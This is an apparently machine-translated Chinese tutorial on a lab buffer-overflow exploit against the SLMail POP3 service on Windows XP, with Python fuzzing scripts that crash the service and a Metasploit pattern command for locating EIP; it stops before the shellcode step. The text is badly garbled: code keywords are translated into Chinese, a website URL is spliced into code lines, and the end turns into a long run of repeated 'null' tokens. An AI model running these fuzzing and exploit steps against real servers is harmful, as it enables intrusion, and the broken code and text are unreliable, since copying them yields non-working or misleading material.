windows缓冲区溢出

  

<强>
写的不好多加指教

  

准备环境:

  
 <代码>攻机:卡莉2.0
  靶机:windows xp, windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试
  软件:SLMail mona.py免疫力调试器
  需要软件的可以留言。 
  

总体步骤:

  
 <代码> 1。测试是否发生缓冲区溢出
  2. 找到缓冲区溢出的位置的临界点并验证
  3.查找系统中固定分配的模块中,哪里有人民币esp,为了后面实现跳转
  4. 在2找到的位置处写上3处找到的地址,也就是实现由eip到jmp esp的过程。这个过程设置断点验证是否跳转成功
  5. 判断有哪些坏字符,每个服务不一定相同
  6. 生成shellcode,并发送。
  7. 完成 
  

步骤1。利用python脚本测试连接windows的POP3

  
 <代码>开启windows的POP3服务 
  

皐indows缓冲区溢出"

  

<强>使用python脚本测试来连接

  
 <代码> ? # !/usr/bin/python
  进口套接字?
  ? s=socket.socket (socket.AF_INET socket.SOCK_STREAM)
  ?试一试:
  吗?打印”发送面纱缓冲……”
  
  吗?s.connect ((10.10.10.19, 110))
  吗?data=https://www.yisu.com/zixun/s.recv (1024)
  吗?打印数据
  
  吗?年代。发送(“用户测试\ r \ n”)
  吗?data=https://www.yisu.com/zixun/s.recv (1024)
  吗?打印数据
  
  吗?年代。发送(“通过测试\ r \ n”)
  吗?data=https://www.yisu.com/zixun/s.recv (1024)
  吗?打印数据
  
  吗?s.close ()
  吗?打印“\ nDone !”
  
  ?除了:
  吗?打印“\ nFailed连接pop3” 
  

<>强运行结果:

  

root@kal:/测试/01 #。py

  
 <代码> ?发送面纱缓冲……
  +好的POP3服务器example.com准备& lt; 00005.5584281 @example.com>
  邮箱?呃无法锁
  完成了!  
  

说明连接POP3成功.....

  

步骤2。测试符合是否会发生缓冲区溢出

  

windows端要用免疫调试器打开slmail服务
打开免疫==比;文件==比;附加==在选择下面的那一行
皐indows缓冲区溢出“
点右下角的连接,然后开始运行,运行时候,右下角的停顿会变成运行状态
皐indows缓冲区溢出"

  

<强>这时运行下面脚本:

  
 <代码> # !/usr/bin/python
  进口套接字
  缓冲=[A]
  计数器=100
  而len(缓冲)& lt;=50:
  buffer.append (A *计数器)
  counter=counter + 200
  
  字符串缓冲区:
  s=socket.socket (socket.AF_INET socket.SOCK_STREAM)
  s.connect ((10.10.10.19, 110))
  打印”发送长度% s“% (len (string))
  s.recv (1024)
  
  年代。发送(“用户测试”+“\ r \ n”)
  s.recv (1024)
  
  年代。发送('通过' +字符串+“\ r \ n”)
  s.recv (1024)
  s.send(“退出\ r \ n”)
  s.close()  
  

运行情况:
皐indows缓冲区溢出"

  

当执行到2700时,发现在也不动了,看一下windows状况,右下角已经出现了进,已经停止了,在2600个字符发完之后还能发送,但是到2700发了送完之后就连接不上了,说明缓冲区溢出临界点发生在2600 - 2700年之间。

  

皐indows缓冲区溢出"

  

Step3确定EIP的位置

  

利用metasploit生成唯一字符串,发送:
root@kal:/测试/开发/pattern_create #/usr/share/metasploit-framework/工具。rb - l 2700

  null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null

windows缓冲区溢出